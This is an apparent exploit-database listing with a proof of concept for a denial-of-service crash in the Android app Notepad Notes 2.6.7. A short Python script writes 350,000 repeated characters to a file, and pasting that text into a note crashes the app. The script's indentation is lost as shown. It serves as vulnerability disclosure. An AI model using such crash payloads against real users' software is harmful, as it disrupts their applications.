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Notepad Notes 2.6.7 Denial Of Service

Notepad Notes 2.6.7 Denial Of Service
Posted Jun 3, 2021
Authored by Brian Rodriguez

Notepad Notes version 2.6.7 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | d329e1499add897d89d20c2c6d9d1e80beae52494ab9daf149891a39961b5810

Notepad Notes 2.6.7 Denial Of Service

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# Exploit Title: Notepad notes 2.6.7 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=com.hlcsdev.x.notepad&hl=es_MX
# Version: 2.6.7
# Category: DoS (Android)

##### Vulnerability #####

Bloc de notas is vulnerable to a DoS condition when a long lists of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause application to stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

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